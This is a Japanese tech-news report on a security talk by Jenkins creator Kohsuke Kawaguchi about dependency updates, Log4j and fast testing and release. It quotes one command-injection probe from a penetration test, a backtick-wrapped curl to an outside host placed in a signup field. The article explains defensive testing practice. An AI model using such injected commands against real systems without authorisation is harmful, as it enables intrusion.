開発者向けのテストの生産性向上に取り組むLaunchableを2020年に立ち上げ、Co-CEOを務めるのは、オープンソースのCIサーバであるJenkinsの開発者として知られる川口耕介氏だ。同氏はJavaエンジニアとしてJenkinsの前身となるソフトウエア開発に携わった頃にセキュリティに関わり始め、それ以来プログラムをつくる中でセキュリティの在り方を学び続けてきたそうだ。
3月5日~8日に開催された「TECH+フォーラム - セキュリティ 2024 Mar. 『推奨』と事例に学ぶ事前対策」に同氏が登壇。実際のコードの例も交えながら、経験から学んだことを紹介し、開発プロセスにおいてセキュリティをどう考えるべきか解説した。
「TECH+フォーラム - セキュリティ 2024 Mar. 『推奨』と事例に学ぶ事前対策」その他の講演レポートはこちら
どれほどスキャンしても防げない脆弱性
セキュリティについてさまざまな議論が行われている昨今だが、川口氏は“DevOpsパイプラインの中の依存性”、“依存性ライブラリのスキャンで脆弱性を見つける”といったことが話題になっている今の状況に違和感があると言う。Log4jに発見された巨大なゼロデイ脆弱性の例を挙げ、「どれほどスキャンをしても防げない脆弱性はある」と述べる。
このLog4jの問題があったとき、すぐにパッチを当てた人が多かったが、問題のバージョンを使い続けていた人たちも一定数いたという。川口氏はJenkinsをつくっていた経験から、その両者の気持ちが分かるそうだ。Jenkinsは依存性を簡単にアップデートできないプロジェクトであり、数多くの人がプラグインを書いていた。結果として、互換性を守るために、非互換な変更がある最新のライブラリを容易に取り込めなかったのだ。しかしそれはすなわち、脆弱性が入り込む余地ができてしまうということにもつながる。
テストとリリースの速度がセキュリティを守る
現在LaunchableではRenovateという第三者サービスを使っているため、依存性はすぐに更新できる。しかしそれでも「依存関係のアップデートは溜めてしまいがち」だと川口氏は明かした。Javaの世界では、Java EEからJakarta EEへと“巨大な非互換の変更”があったため、それを取り巻くエコシステムの中のプレイヤーが順繰りにJakarta EEにアップデートしていかないと使えなかったというのがその一因だそうだ。このアップデートが終わってから大量に溜まったライブラリをアップデートしていくことになるが、「そうすると色々壊れる」(川口氏)ことになる。
壊れたところを直してテストに成功しても、本番では思わぬ壊れ方をすることがあるため、ロールバックと本番を何度も繰り返したという同氏は、そうなった要因をテストに問題があったからだと考えている。
「結局のところ重要なのは脆弱性スキャンなどではなく、いかに最新版のライブラリを使い、素早く本番に投入できるかということ。つまり、テストとリリースの速度がセキュリティを守るのだと思います」(川口氏)
壊しにかかるテストも書いておく
川口氏は、Launchableがアプリのペネトレーションテストを依頼した際に、外部ベンダーが使ったコードの例も紹介した。アプリのサインアップのスクリプトにバックティックを使ったものだ。
foo `curl somewhere.com`
このコードを「素晴らしい」と川口氏は称賛する。テストそのものは、ブラックボックスで観察したシステムを外部からテストするものだが、このやり方ならどこかにリモートコード実行脆弱性があるかどうかも簡単に検証できるのだ。ブラックボックスで使うことができ、検証が容易、さらに“壊しにかかるテスト”である点も優れていると同氏は話す。エンジニアは正常系の動作がうまくいくだけで満足しがちだが、継続的に実行されるものとして、「こうした“壊しにかかるテスト”も書いておくことに意味がある」と続けた。